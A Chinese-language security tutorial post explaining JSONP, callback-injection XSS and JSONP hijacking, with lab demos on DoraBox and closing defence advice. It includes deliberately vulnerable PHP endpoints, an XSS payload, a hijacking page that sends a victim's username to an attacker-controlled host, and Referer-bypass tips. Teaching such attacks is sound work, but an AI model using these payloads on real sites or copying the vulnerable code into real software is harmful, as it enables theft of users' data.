浅谈JSONP跨域漏洞

浅谈JSONP跨域漏洞

CSRF(Cross site request forgery)跨站请求伪造,一种挟持用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法,跟XSS相比,XSS 利用的是网站对用户的信任,CSRF 利用的是网站对用户网页浏览器的信任

提起CSRF,可能很多人都会想到修改个人资料授权登陆等等攻击场景,可以发现这两个场景都是写入型的CSRF漏洞,通常会忽视更常见的读取型的CSRF漏洞,主流如下两种

  • JSONP跨域资源读取
  • CORS跨域资源读取

当持有敏感资源数据的服务器没有校验请求来源时,如未严格校验Referer或未存在token机制等,都会导致读取型的CSRF漏洞的产生

今天我们就来了解下其中之一的JSONP跨域漏洞

JSONP

我们知道,同源策略SOP(Same origin policy)是一种约定,它是浏览器最核心也最基本的安全功能。不同域之间相互请求资源,就算作“跨域”,为了能跨域获取资源,产生了JSONP,即JSONP 就是为了跨域获取资源而产生的一种技术手段

浅谈JSONP跨域漏洞

JSONP(JSON with Padding)即填充式的JSON,是基于JSON 格式的为解决跨域请求资源而产生的解决方案。通过填充额外的内容把JSON数据包装起来,变成一段有效的可以独立运行的JavaScript语句。

如要在 a.com 域下获取存在 b.com 的 JSON 数据( getUsers.JSON ):

{"id" : "1","name" : "f4ke"}

通过 JSONP 的 “Padding”(填充即包装成可运行的js) , getUsers.JSON 输出为:

callback({"id" : "1","name" : "f4ke"});

它基本原理是利用HTML里script元素标签中的src属性不受同源策略影响的特性,远程调用JSON文件来实现数据传递。JSONP的基本语法为:callback({"name":"alan", "msg":"success"})

具体实现

jsonp.php,作为JSONP服务端资源获取文件,动态生成JSONP格式数据:

<?php
if(isset($_GET['callback'])){
	$callback = $_GET['callback'];
	print $callback.'({"username" : "testadmin", "password" : "thisisadminpassword"});';
} else {
	echo 'No callback param.';
}
?>

客户端可以使用原生js或者jQuery实现JSONP跨域资源请求

原生JS

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>JSONP 跨域</title>
</head>
<body>
    <div id="here"></div>
    <script type="text/javascript">
    function callbackFunction(result, methodName)
    {
        var html = '<ul>';
        html += '<li>' + 'username: ' + result.username + '</li>';
        html += '<li>' + 'password: ' +result.password + '</li>';
        html += '</ul>';
        document.getElementById('here').innerHTML = html;
    }
    </script>
    <script type="text/javascript" src="http://www.php.com:8088/jsonp.php?callback=callbackFunction"></script>
</body>
</html>

jQuery

可用$.getJSON$.ajax$.get,举例$.ajax方式

<body>
<div id="here"></div>
<script>
    $.ajax({  
        type: "get",  //jsonp默认为get请求,即使写post也会转换成get方式  
        async: false, // jsonp默认为false,即使写true也会转换成false  
        url: "http://www.php.com:8088/jsonp.php",  // 服务端地址  
        // data: {"code" : "CA1405"},  // 入参  
        dataType: "jsonp", // jsonp调用固定写法  
        jsonp: "callback", // 传递给请求处理程序或页面的,用以获得jsonp回调函数名的参数名(一般默认为:callback)。即:?callback=xxx中的callback部分  
        // jsonpCallback:"flightHandler",//自定义的jsonp回调函数名称,默认为jQuery自动生成的随机函数名,也可以写"?",jQuery会自动为你处理数据。即:?callback=xxx中的xxx部分  
        success: function(data){ // 调用成功之后的方法  
            var html = '<ul>';
            html += '<li>' + 'username: ' + data.username + '</li>';
            html += '<li>' + 'password: ' + data.password + '</li>';
            html += '</ul>';
            document.getElementById('here').innerHTML = html; 
        },  
        error: function(){  // 调用失败之后的方法  
            alert('error');  
        }  
    });  
</script>
</body>

127.0.0.1:12138通过JSONP成功跨域请求到www.php.com:8088的数据资源

浅谈JSONP跨域漏洞

JSONP跨域漏洞

JSONP跨域漏洞主要是Callback自定义导致的XSSJSONP劫持两种类型

Callback自定义导致的XSS

在JSONP跨域中,传入函数名的参数如callback,然后JSONP服务端会根据我们的传参值动态生成JSONP数据响应回来。如果JSONP服务端对于用于传入的函数名参数callback的值处理不当,如未正确设置响应包的Content-Type、未对用户输入参数进行有效过滤或转义时,就会导致XSS漏洞的产生

未设置Content-Type且callback未过滤

JSONP服务端代码jsonp.php如下:

<?php
if(isset($_GET['callback'])){
	$callback = $_GET['callback'];
	print $callback.'({"username" : "testadmin", "password" : "thisisadminpassword"});';
} else {
	echo 'No callback param.';
}
?>

默认情况下未设置Content-Type且未对callback参数进行过滤的场景,这种情形是最基础也是最常见的,网上大多数的JSONP引起的XSS都是这种场景的。

当callback参数值为callbackFunction<script>alert(2333)</script>,会弹窗,响应包在未设置Content-Type情况下其值为text/html

浅谈JSONP跨域漏洞

未设置Content-Type但callback过滤

<?php
if(isset($_GET['callback'])){
	$callback = htmlspecialchars($_GET['callback']);
	$id = $_GET['id'];
	print $callback.'({"id" : "'.$id.'", "username" : "testadmin", "password" : "thisisadminpassword"});';
} else {
	echo 'No callback param.';
}
?>

可以看到,使用htmlspecialchars过滤后callback参数避免XSS,但若JSON数据输出部分用户输入的内容,其内容未作过滤被写入XSS payload,如下图也会弹窗

浅谈JSONP跨域漏洞

设置Content-Type: application/json

JSON文本的MIME媒体类型是application/json,默认编码为UTF-8。同时这也是建议的JSONP服务端设置的Content-Type值,用于防御XSS

直接在jsonp.php代码开始添加设置Header字段的代码

<?php
header('Content-type: application/json');
if(isset($_GET['callback'])){
	$callback = htmlspecialchars($_GET['callback']);
	$id = $_GET['id'];
	print $callback.'({"id" : "'.$id.'", "username" : "testadmin", "password" : "thisisadminpassword"});';
} else {
	echo 'No callback param.';
}
?>

此时无论正常访问还是输入XSS payload,页面都不会显示内容出来:

浅谈JSONP跨域漏洞

但在浏览器查看原始数据的时候是有JSONP数据正常返回的,但由于响应包Content-Type的设置,浏览器js引擎不会在页面中解析该内容:

浅谈JSONP跨域漏洞

JSONP劫持

JSONP劫持,是一种特殊的CSRF攻击,目的是获取敏感数据。简单说JSONP劫持是将请求JSONP服务端获取到的JSONP数据发往攻击者服务器中、实现获取JSONP敏感信息。

无Referer限制:窃取用户信息

我们使用DoraBox靶场来进行演示

浅谈JSONP跨域漏洞

已登录的情况下点击JSONP劫持选项,可见返回用户信息

浅谈JSONP跨域漏洞

构造jsonp_hijacking.html网页置于攻击者域名www.php.com:8088

<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<title>JSONP劫持测试</title>
	<script src="https://cdn.static.runoob.com/libs/jquery/1.8.3/jquery.js"></script> 
</head>
<body>
	<script>
		function test(data){
            $.get('http://www.php.com:8088/index.html?value='+data.username);
			alert(JSON.stringify(data));
		}
	</script>
	<script src="http://dorabox.com:8066/csrf/jsonp.php?callback=test"></script>
</body>
</html>

由于JSONP服务端http://dorabox.com:8066/csrf/jsonp.php未对Referer做限制,即当诱导用户在浏览器中直接访问http://www.php.com:8088/jsonp_hijacking.html即可拿到用户信息并将其送往攻击者服务器www.php.com:8088

浅谈JSONP跨域漏洞

有Referer限制

当JSONP服务端会校验Referer字段,也有一些特定绕过方式

1、空Referer

有时候JSONP服务端对Referer进行了校验,但并未对空Referer进行校验,此时我们就可以使用置空的Referer请求来绕过。

实现发送空Referer的请求的方法有三种:

  • 使用iframe标签+javascript伪协议

  • 使用meta标签

  • 从HTTPS向HTTP发起请求

2、Referer过滤不严格

防御建议

  • 若可行,则使用CORS替换JSONP实现跨域功能;
  • 应用CSRF防御措施来调用JSON文件:限制Referer 、部署一次性Token等;
  • 严格设置Content-Type及编码(Content-Type: application/json; charset=utf-8 );
  • 严格过滤 callback 函数名及JSON里数据的输出;

参考

JSONP跨域漏洞总结

上一篇:JSONP 的概念


下一篇:hive 窗口函数(三)